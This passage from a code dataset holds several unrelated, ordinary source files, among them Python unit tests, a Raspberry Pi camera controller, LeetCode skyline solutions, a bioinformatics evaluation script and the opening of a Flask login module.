session4.Qualean(number_1) # this will be a random decimal number\r\n r2 = session4.Qualean(number_2) # this will be a random decimal number\r\n assert (r1.__and__(r2)) == bool(r1 and r2), \"Wrong!! :) Object comparison is not as expected\"\r\n\r\ndef test_Qualean_OR():\r\n r1 = session4.Qualean(number_1) # this will be a random decimal number\r\n r2 = session4.Qualean(number_2) # this will be a random decimal number\r\n assert (r1.__or__(r2)) == bool(r1 or r2), \"Wrong!! :) Object comparison is not as expected\"\r\n\r\ndef test_Qualean_AND_short_Circuit():\r\n r1 = session4.Qualean(0) # this will be a 0 decimal number\r\n # r2 is not defined\r\n assert bool(r1 and r2) == False, \"Wrong!! :) Object comparison is not as expected\"\r\n\r\ndef test_Qualean_OR_short_Circuit():\r\n r1 = session4.Qualean(1) # this will be a random decimal number\r\n # r2 is not defined\r\n assert bool(r1 or r2) == True, \"Wrong!! :) Object comparison is not as expected\"\r\n\r\ndef test_Qualean_ADD():\r\n r1 = session4.Qualean(number_1) # this will be a random decimal number\r\n r2 = session4.Qualean(number_2) # this will be a random decimal number\r\n assert (r1.__add__(r2)) == (r1.number + r2.number), \"Wrong!! :) Object comparison is not as expected\"\r\n\r\ndef test_Qualean_MUL():\r\n r1 = session4.Qualean(number_1) # this will be a random decimal number\r\n r2 = session4.Qualean(number_2) # this will be a random decimal number\r\n assert (r1.__mul__(r2)) == (r1.number * r2.number), \"Wrong!! :) Object comparison is not as expected\"\r\n\r\ndef test_Qualean_SQRT():\r\n r1 = session4.Qualean(number_1) # this will be a random decimal number\r\n r1.number = abs(r1.number)\r\n assert r1.__sqrt__() == r1.number.sqrt(), \"Wrong!! :) Object comparison is not as expected\"\r\n\r\ndef test_Qualean_SQRT_Negative():\r\n r1 = session4.Qualean(1) # this will be a random decimal number\r\n r1.number = abs(r1.number)*(-1)\r\n assert type(r1.__sqrt__()) == complex, \"Wrong!! :) Object comparison is not as expected\"", "sub_path": "test_session4.py", "file_name": "test_session4.py", "file_ext": "py", "file_size_in_byte": 7076, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "random.choice", "line_number": 12, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "inspect.getsource", "line_number": 63, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 64, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 67, "usage_type": "call"}, {"api_name": "inspect.getmembers", "line_number": 70, "usage_type": "call"}, {"api_name": "inspect.isfunction", "line_number": 70, "usage_type": "attribute"}, {"api_name": "re.findall", "line_number": 72, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 75, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 76, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 77, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 78, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 79, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 80, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 83, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 84, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 87, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 91, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 95, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 96, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 100, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 101, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 106, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 111, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 116, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 117, "usage_type": "call"}, {"api_name": "decimal.getcontext", "line_number": 118, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 124, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 126, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 126, "usage_type": "call"}, {"api_name": "math.isclose", "line_number": 129, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 129, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 132, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 136, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 137, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 141, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 142, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 146, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 151, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 156, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 157, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 161, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 162, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 166, "usage_type": "call"}, {"api_name": "session4.Qualean", "line_number": 171, "usage_type": "call"}]} {"seq_id": "163116410", "text": "from django.conf.urls import url, include\nfrom django.contrib import admin\nfrom django.http import HttpResponse\n\n\nadmin.autodiscover()\n\n\ndef empty(request):\n return HttpResponse('')\n\n\ndef modify_session(request):\n request.session['FOO'] = 'BAR'\n return HttpResponse('')\n\n\nurlpatterns = [\n url(r'^$', empty),\n url(r'^modify_session/$', modify_session),\n url(r'^admin/', include(admin.site.urls)),\n url(r'', include('user_sessions.urls', 'user_sessions')),\n]\n", "sub_path": "tests/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 478, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.contrib.admin.autodiscover", "line_number": 6, "usage_type": "call"}, {"api_name": "django.contrib.admin", "line_number": 6, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 10, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 15, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 19, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 20, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 21, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 21, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 21, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 21, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 22, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 22, "usage_type": "call"}]} {"seq_id": "445143276", "text": "# -*- coding: utf-8 -*-\n# python3\n# Copyright (c) 2017 by Dr. Justin Klotz\n\n# Requires uv4l and raspicam\n\nimport subprocess\nimport logging\n\n\nclass Camera:\n width = 0\n height = 0\n fps = 0\n mode = -1\n port = -1\n \n def turn_on(self):\n # retrieve logger\n logger = logging.getLogger(__name__)\n # return False for bad input data\n if self.width <= 0 or self.height <= 0 or self.fps <= 0 or self.mode < 0 or self.port < 0:\n raise ValueError('Invalid input.')\n self.turn_off() # just in case it is already running\n command = \"sudo uv4l -nopreview --auto-video_nr --driver raspicam \"\n command += \"--height \" + str(self.height) + \" \"\n command += \"--width \" + str(self.width) + \" \"\n command += \"--framerate \" + str(self.fps) + \" \"\n command += \"--server-option '--port=\" + str(self.port) + \"' \"\n command += \"--encoding mjpeg \"\n if self.mode == 0:\n command += \"--sched-rr --mem-lock\"\n elif self.mode == 1:\n command += \"--drop-bad-frames yes --frame-timeout 100 --sched-fifo 0\"\n else: # default\n command += \"--sched-rr --mem-lock\"\n logger.info(\"Turning on camera...\")\n logger.info(\"Camera command: \" + command)\n sub_p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = sub_p.communicate()\n logger.info(\"camera stdout: \" + str(stdout))\n logger.info(\"camera stderr: \" + str(stderr))\n\n @staticmethod\n def turn_off():\n # retrieve logger\n logger = logging.getLogger(__name__)\n logger.info(\"Turning off camera...\")\n sub_p = subprocess.Popen(\"sudo pkill uv4l\", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = sub_p.communicate()\n logger.info(\"camera stdout: \" + str(stdout))\n logger.info(\"camera stderr: \" + str(stderr))\n\n '''\n @staticmethod\n def _run_cmd(command):\n \"\"\"Launches 'command' windowless\"\"\"\n startupinfo = subprocess.STARTUPINFO()\n startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW\n sub_p = subprocess.Popen(command, shell=False, startupinfo=startupinfo, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE)\n return sub_p\n '''\n", "sub_path": "Raspberry_Pi/coolerbot/camera.py", "file_name": "camera.py", "file_ext": "py", "file_size_in_byte": 2344, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 20, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 39, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 39, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 47, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 49, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 49, "usage_type": "attribute"}]} {"seq_id": "289091481", "text": "#! \\Python36\\python\r\n# -*- coding: utf-8 -*-\r\n\r\n# move.py\r\n\r\nimport wx\r\nimport sys\r\n\r\n\r\nclass Example(wx.Frame):\r\n\r\n def __init__(self, parent, title):\r\n super(Example, self).__init__(parent, title=title,\r\n size=(450, 400))\r\n\r\n self.Move((600, 250))\r\n self.Show()\r\n\r\n\r\ndef main():\r\n app = wx.App()\r\n Example(None, title='Move')\r\n sys.exit(app.MainLoop())\r\n\r\nif __name__ == '__main__':\r\n main()", "sub_path": "first_wx_win/move.py", "file_name": "move.py", "file_ext": "py", "file_size_in_byte": 466, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "wx.Frame", "line_number": 10, "usage_type": "attribute"}, {"api_name": "wx.App", "line_number": 21, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 23, "usage_type": "call"}]} {"seq_id": "565324181", "text": "#!/usr/bin/python\n#coding:utf8\n# Author :E Kwong\n\nimport os\nfrom docx import Document\n\nrootdir = os.path.abspath('.')\ng = os.walk(rootdir)\n\ndocument = Document()\n\n\nfor path, d, filelist in g:\n for filename in filelist: \n absolutfile = os.path.join(path, filename)\n a,b = os.path.splitext(absolutfile)\n if b==\".java\":\n with open(os.path.join(path, filename), 'r',errors='ignore') as f:\n text = f.read()\n document.add_paragraph(text)\n \ndocument.add_page_break()\n\ndocument.save('javademo.docx')\n", "sub_path": "CombineJavaFiles.py", "file_name": "CombineJavaFiles.py", "file_ext": "py", "file_size_in_byte": 560, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.abspath", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 9, "usage_type": "call"}, {"api_name": "docx.Document", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}]} {"seq_id": "225803777", "text": "from __future__ import absolute_import\nfrom builtins import object\n\nfrom sqlalchemy import inspect\nimport copy\n\nfrom sqlalchemy.orm.state import InstanceState\n\n\nclass ModelHistoryProxy(object):\n \"\"\" Proxy object to gain access to historical model attributes.\n\n This leverages SqlAlchemy attribute history to provide access to the previous value of an attribute.\n \"\"\"\n\n def __init__(self, instance):\n self.__instance = instance\n self.__inspect = inspect(instance)\n self.inpsp = self.__inspect\n self.__relations = frozenset(self.__inspect.mapper.relationships.keys())\n manager = instance._sa_instance_state.manager\n self._sa_instance_state = InstanceState(self, manager)\n self.or_state = instance._sa_instance_state\n for key, val in self.__inspect.attrs.items():\n if key not in self.__relations:\n setattr(self, key, copy.deepcopy(self.__attr_val(val)))\n self._sa_instance_state = InstanceState(self, instance._sa_instance_state.manager)\n self._sa_instance_state.key = instance._sa_instance_state.key\n self._sa_instance_state.session_id = instance._sa_instance_state.session_id\n\n def __getattr__(self, key):\n # Get the attr\n if key in self.__relations:\n ent_class = self.__instance.__class__\n prop = getattr(ent_class, key)\n return prop.__get__(self, ent_class)\n\n if isinstance(getattr(self.__instance.__class__, key, None), property):\n return getattr(self.__instance.__class__, key).fget(self)\n\n return getattr(self.__instance, key)\n\n def __attr_val(self, attr):\n # Examine attribute history\n # If a value was deleted (e.g. replaced) -- we return it as the previous version.\n history = attr.history\n if not history.deleted:\n # No previous value, return the current value instead\n return attr.value\n else:\n # Return the previous value\n # It's a tuple, since History supports collections, but we do not support these,\n # so just get the first element\n return history.deleted[0]\n", "sub_path": "mongosql/hist.py", "file_name": "hist.py", "file_ext": "py", "file_size_in_byte": 2176, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "builtins.object", "line_number": 10, "usage_type": "name"}, {"api_name": "sqlalchemy.inspect", "line_number": 18, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.state.InstanceState", "line_number": 22, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 26, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.state.InstanceState", "line_number": 27, "usage_type": "call"}]} {"seq_id": "154875761", "text": "import unittest2 as unittest\n\nfrom pyrpc.exceptions import RPCError\n\n\nclass TestExceptions(unittest.TestCase):\n\n def test_rpc_error_init(self):\n error = RPCError('test error', -32701, 'this is an error')\n self.assertEqual(error.code, -32701)\n self.assertEqual(error.message, 'test error')\n self.assertEqual(error.data, 'this is an error')\n\n def test_as_dict(self):\n error = RPCError(data='dummy data')\n expected = {\n 'code': error.code,\n 'message': error.message,\n 'data': error.data,\n }\n self.assertDictEqual(error.as_dict(), expected)\n", "sub_path": "pyrpc/tests/test_exceptions.py", "file_name": "test_exceptions.py", "file_ext": "py", "file_size_in_byte": 632, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "unittest2.TestCase", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pyrpc.exceptions.RPCError", "line_number": 9, "usage_type": "call"}, {"api_name": "pyrpc.exceptions.RPCError", "line_number": 15, "usage_type": "call"}]} {"seq_id": "49325614", "text": "\n\"\"\"\nOBSERVATION\n\n The skyline only changes at the left or right end of a building\n\nINITIAL THOUGHTS ABOUT DATA STRUCTURE\n\n heap?\n an issue with heap is that removal of anything but the max element is O(n)\n heap + a separate way to handle right endpoints?\n\nAPPROACH 1\n\n what about separating the input into endpoints?\n could we then use a sorted map?\n\n prev = 0\n for endpoint:\n if left:\n heights.add(endpoint)\n else\n heights.remove(endpoint)\n curr = max(heights) if heights else 0\n if curr != prev:\n res.append(L, H)\n prev = curr\n\nAPPROACH 2\n\n what about a BST of heights and a heap of right endpoints?\n\n prev = 0\n for L, R, H in input:\n\n heights.add(H)\n curr = heights.max()\n\nAPPROACH 3\n\n what about a sorted map of heights and a list of endpoints (is_left, x, height) ?\n\n prev = 0\n for is_left, x, height in endpoints:\n if is_left:\n heights.add(height)\n else\n heights.remove(height)\n curr = heights.max() if heights else 0\n if curr != prev:\n res.append(x, curr)\n prev = curr\n\"\"\"\n\n\n\"\"\"\nBEST EXPLANATION\n\nhttps://briangordon.github.io/2014/08/the-skyline-problem.html\n\"\"\"\n\n\nimport collections, heapq\n\n\nclass Solution(object):\n\n def getSkyline(self, buildings):\n \"\"\"\n :type buildings: List[List[int]]\n :rtype: List[List[int]]\n\n ACE\n 180 ms\n\n O(n*logn) time complexity\n O(n) space complexity\n\n explanation of general strategy: https://briangordon.github.io/2014/08/the-skyline-problem.html\n\n for this specific impl:\n\n https://leetcode.com/problems/the-skyline-problem/discuss/61194/108-ms-17-lines-body-explained\n\n Solution sweeps from left to right. But it doesn’t only keep heights\n of “alive buildings” in the priority queue and it doesn’t remove\n them as soon as their building is left behind. Instead, (height, right)\n pairs are kept in the priority queue and they stay in there as long as\n there’s a larger height in there, not just until their building is\n left behind.\n\n In each loop, we first check what has the smaller x-coordinate: adding\n the next building from the input, or removing the next building from\n the queue. In case of a tie, adding buildings wins, as that guarantees\n correctness (think about it :-). We then either add all input buildings\n starting at that x-coordinate or we remove all queued buildings ending\n at that x-coordinate or earlier (remember we keep buildings in the\n queue as long as they’re “under the roof” of a larger actually alive\n building). And then, if the current maximum height in the queue differs\n from the last in the skyline, we add it to the skyline.\n \"\"\"\n Building = collections.namedtuple('Rectangle', ('left', 'right', 'height'))\n HeightRight = collections.namedtuple('HeightRight', ('height', 'right'))\n KeyPoint = collections.namedtuple('KeyPoint', ('left', 'height'))\n buildings = [Building(b[0], b[1], b[2]) for b in buildings]\n skyline, liveHR = [], []\n i, n = 0, len(buildings)\n while i < n or liveHR:\n if not liveHR or (i < n and buildings[i].left <= -liveHR[0].right):\n x = buildings[i].left\n while i < n and buildings[i].left == x:\n heapq.heappush(liveHR, HeightRight(-buildings[i].height, -buildings[i].right))\n i += 1\n else:\n x = -liveHR[0].right\n while liveHR and -liveHR[0].right <= x:\n heapq.heappop(liveHR)\n height = -liveHR[0].height if liveHR else 0\n if not skyline or height != skyline[-1].height:\n skyline.append(KeyPoint(x, height))\n return [[kp.left, kp.height] for kp in skyline]\n\n def getSkylineV6(self, buildings):\n \"\"\"\n :type buildings: List[List[int]]\n :rtype: List[List[int]]\n\n ACE\n 1250 ms\n\n explanation of general strategy: https://briangordon.github.io/2014/08/the-skyline-problem.html\n\n for this specific impl:\n\n left is negative height\n right is height\n\n heapify negative heights because we need a max heap\n add positive heights to result\n\n https://leetcode.com/problems/the-skyline-problem/discuss/61193/\n https://leetcode.com/problems/the-skyline-problem/discuss/61255/\n\n calling the internal functions of heapq is necessary to avoid TLE\n \"\"\"\n endpoints = []\n for l, r, h in buildings:\n endpoints.append((l, -h))\n endpoints.append((r, h))\n endpoints.sort(key=lambda t: (t[0], t[1]))\n pq = [0]\n res = []\n prev = 0\n for x, height in endpoints:\n if height < 0:\n heapq.heappush(pq, height)\n else:\n # pq.remove(-height)\n # heapq.heapify(pq)\n i = pq.index(-height)\n pq[i] = pq[-1]\n pq.pop()\n if i < len(pq):\n heapq._siftup(pq, i)\n heapq._siftdown(pq, 0, i)\n curr = -pq[0]\n if prev != curr:\n res.append([x, curr])\n prev = curr\n return res\n\n def getSkylineV5(self, buildings):\n \"\"\"\n :type buildings: List[List[int]]\n :rtype: List[List[int]]\n\n TLE\n\n left is height\n right is negative height\n\n heapify negative heights because we need a max heap\n add positive heights to result\n\n https://leetcode.com/problems/the-skyline-problem/discuss/61193/\n \"\"\"\n endpoints = []\n for l, r, h in buildings:\n endpoints.append((l, h))\n endpoints.append((r, -h))\n endpoints.sort(key=lambda t: (t[0], -t[1]))\n pq = [0]\n res = []\n prev = 0\n for x, height in endpoints:\n if 0 < height:\n heapq.heappush(pq, -height)\n else:\n pq.remove(height)\n heapq.heapify(pq)\n curr = pq[0]\n if prev != curr:\n res.append([x, -curr])\n prev = curr\n return res\n\n def getSkylineV4(self, buildings):\n \"\"\"\n :type buildings: List[List[int]]\n :rtype: List[List[int]]\n\n TLE\n\n left is height\n right is negative height\n\n heapify negative heights because we need a max heap\n add positive heights to result\n\n https://leetcode.com/problems/the-skyline-problem/discuss/61193/\n \"\"\"\n endpoints = []\n for l, r, h in buildings:\n endpoints.append((l, h))\n endpoints.append((r, -h))\n endpoints.sort(key=lambda t: (t[0], -t[1]))\n pq = [0]\n res = []\n prev = 0\n for x, height in endpoints:\n if 0 < height:\n heapq.heappush(pq, -height)\n else:\n pq.remove(height)\n heapq.heapify(pq)\n curr = pq[0]\n if prev != curr:\n res.append([x, -curr])\n prev = curr\n return res\n\n def getSkylineV3(self, buildings):\n \"\"\"\n :type buildings: List[List[int]]\n :rtype: List[List[int]]\n\n TLE\n\n left is height\n right is negative height\n\n heapify negative heights because we need a max heap\n add positive heights to result\n\n https://leetcode.com/problems/the-skyline-problem/discuss/61193/\n \"\"\"\n endpoints = []\n for l, r, h in buildings:\n endpoints.append((l, h))\n endpoints.append((r, -h))\n endpoints.sort(key=lambda t: (t[0], -t[1]))\n for e in endpoints:\n print(e)\n pq = [0]\n res = []\n prev = 0\n for x, height in endpoints:\n print(\"{} {}\".format(x, height))\n if 0 < height:\n heapq.heappush(pq, -height)\n else:\n pq.remove(height)\n heapq.heapify(pq)\n curr = pq[0]\n print(pq)\n print(\"{} {}\".format(prev, curr))\n if prev != curr:\n res.append([x, -curr])\n prev = curr\n print(res)\n return res\n\n def getSkylineV2(self, buildings):\n \"\"\"\n :type buildings: List[List[int]]\n :rtype: List[List[int]]\n\n Wrong Answer\n\n [[1,2,1],[1,2,2],[1,2,3]]\n\n sort by x with left before right\n \"\"\"\n endpoints = []\n for l, r, h in buildings:\n endpoints.append((True, l, h))\n endpoints.append((False, r, h))\n endpoints.sort(key=lambda t: (t[1], -t[2], -1 if t[0] else 1))\n # for e in endpoints:\n # print(e)\n prev = 0\n heights, res = [], []\n for is_left, x, height in endpoints:\n if is_left:\n heights.append(height)\n else:\n heights.remove(height)\n curr = max(heights) if heights else 0\n if prev != curr:\n res.append([x, curr])\n prev = curr\n return res\n\n def getSkylineV1(self, buildings):\n \"\"\"\n :type buildings: List[List[int]]\n :rtype: List[List[int]]\n\n Wrong Answer\n\n [[1,2,1],[1,2,2],[1,2,3]]\n\n sort by x with left before right\n\n https://stackoverflow.com/questions/2793324/is-there-a-simple-way-to-delete-a-list-element-by-value\n https://stackoverflow.com/questions/36953649/python-lambda-function-to-sort-list-of-tuples\n \"\"\"\n endpoints = []\n for l, r, h in buildings:\n endpoints.append((True, l, h))\n endpoints.append((False, r, h))\n endpoints.sort(key=lambda t: (t[1], -1 if t[0] else 1))\n # for e in endpoints:\n # print(e)\n prev = 0\n heights, res = [], []\n for is_left, x, height in endpoints:\n if is_left:\n heights.append(height)\n else:\n heights.remove(height)\n curr = max(heights) if heights else 0\n if curr != prev:\n res.append([x, curr])\n prev = curr\n return res\n\n\nif __name__ == '__main__':\n s = Solution()\n tests = [\n (\n [ [2, 9, 10], [3, 7, 15], [5, 12, 12], [15, 20, 10], [19, 24, 8] ],\n [ [2, 10], [3, 15], [7, 12], [12, 0], [15, 10], [20, 8], [24, 0] ]\n ),\n (\n [[1,2,1],[1,2,2],[1,2,3]],\n [[1,3],[2,0]]\n )\n ]\n for buildings, exp in tests:\n print(buildings)\n res = s.getSkyline(buildings)\n print(res)\n print(exp)\n assert res == exp\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "sub_path": "218_the_skyline_problem.py", "file_name": "218_the_skyline_problem.py", "file_ext": "py", "file_size_in_byte": 10942, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.namedtuple", "line_number": 102, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 103, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 104, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 112, "usage_type": "call"}, {"api_name": "heapq.heappop", "line_number": 117, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 156, "usage_type": "call"}, {"api_name": "heapq._siftup", "line_number": 164, "usage_type": "call"}, {"api_name": "heapq._siftdown", "line_number": 165, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 197, "usage_type": "call"}, {"api_name": "heapq.heapify", "line_number": 200, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 232, "usage_type": "call"}, {"api_name": "heapq.heapify", "line_number": 235, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 270, "usage_type": "call"}, {"api_name": "heapq.heapify", "line_number": 273, "usage_type": "call"}]} {"seq_id": "402762661", "text": "import os,csv,re,json\r\nimport pandas as pd\r\nimport numpy as np\r\nimport scanpy as sc\r\nimport warnings\r\nimport argparse\r\nimport time, resource\r\nimport csv\r\n# from package_pipeline import segmentation_test\r\nfrom package_pipeline_multiprocessing import segmentation_evaluation\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\ndef parse_args1():\r\n parser = argparse.ArgumentParser(description='segmentation test')\r\n parser.add_argument('-matrix', type=str, nargs='+', help='h5 file path')\r\n parser.add_argument('-csv', type=str, nargs='+', help='metadata csv file path')\r\n parser.add_argument('-json', type=str, nargs='+', help='json file path')\r\n parser.add_argument('-label', '--label_path', type=str, nargs='*', help='label folder')\r\n parser.add_argument('-out', '--output_path', type=str, nargs='*', default='output', help='generate output folder')\r\n parser.add_argument('-gene', type=str, nargs='+', help='panel gene txt path,one line is a panel gene',\r\n default=[None])\r\n parser.add_argument('-method', type=str, nargs='+', default=['scGNN'], help='optional spaGCN or scGNN')\r\n parser.add_argument('-pca', type=str, nargs='+', default=[True], help='pca optional:True or False')\r\n parser.add_argument('-transform', type=str, nargs='+', default=['None'], help='data transform optional is log or logcpm or None')\r\n parser.add_argument('-checkpoint', type=str, nargs='+', help='checkpoint path')\r\n args = parser.parse_args()\r\n return args\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n args1 = parse_args1()\r\n\r\n h5_path = args1.matrix[0]\r\n spatial_path = args1.csv[0]\r\n scale_factor_path = args1.json[0]\r\n label_path = args1.label_path[0]\r\n output_path = args1.output_path[0]\r\n panel_gene_path = args1.gene[0]\r\n method = args1.method[0]\r\n pca_opt = args1.pca[0]\r\n transform_opt = args1.transform[0]\r\n checkpoint = args1.checkpoint[0]\r\n if not os.path.exists(output_path):\r\n os.makedirs(output_path)\r\n # segmentation_category_map(h5_path[0], spatial_path[0], scale_factor_path[0], optical_path[0], output_path)\r\n segmentation_evaluation(h5_path, spatial_path, scale_factor_path, output_path, method,label_path,pca_opt,transform_opt,checkpoint)\r\n", "sub_path": "evaluation_pipeline.py", "file_name": "evaluation_pipeline.py", "file_ext": "py", "file_size_in_byte": 2233, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "warnings.filterwarnings", "line_number": 11, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 45, "usage_type": "call"}, {"api_name": "package_pipeline_multiprocessing.segmentation_evaluation", "line_number": 47, "usage_type": "call"}]} {"seq_id": "66811906", "text": "#!/usr/bin/python\r\n# -*- coding:utf-8 -*-\r\n\r\nimport logging\r\nfrom datetime import datetime\r\n\r\nimport jwt\r\nfrom flask import flash, redirect, url_for, render_template, jsonify, request\r\nfrom flask_login import current_user, login_required, login_user, logout_user\r\nfrom sqlalchemy import or_\r\n\r\nfrom app import db\r\nfrom app.base import blueprint\r\nfrom app.base.forms import (\r\n LoginForm,\r\n CreateAccountForm,\r\n ForgetPasswdForm,\r\n)\r\nfrom app.base.models import User, Role\r\nfrom app.encrypt import Encrypt\r\nfrom configs.config import Config\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\n@blueprint.route(\"/\")\r\ndef route_default():\r\n return redirect(url_for(\"base_blueprint.login\"))\r\n\r\n\r\n@blueprint.route(\"/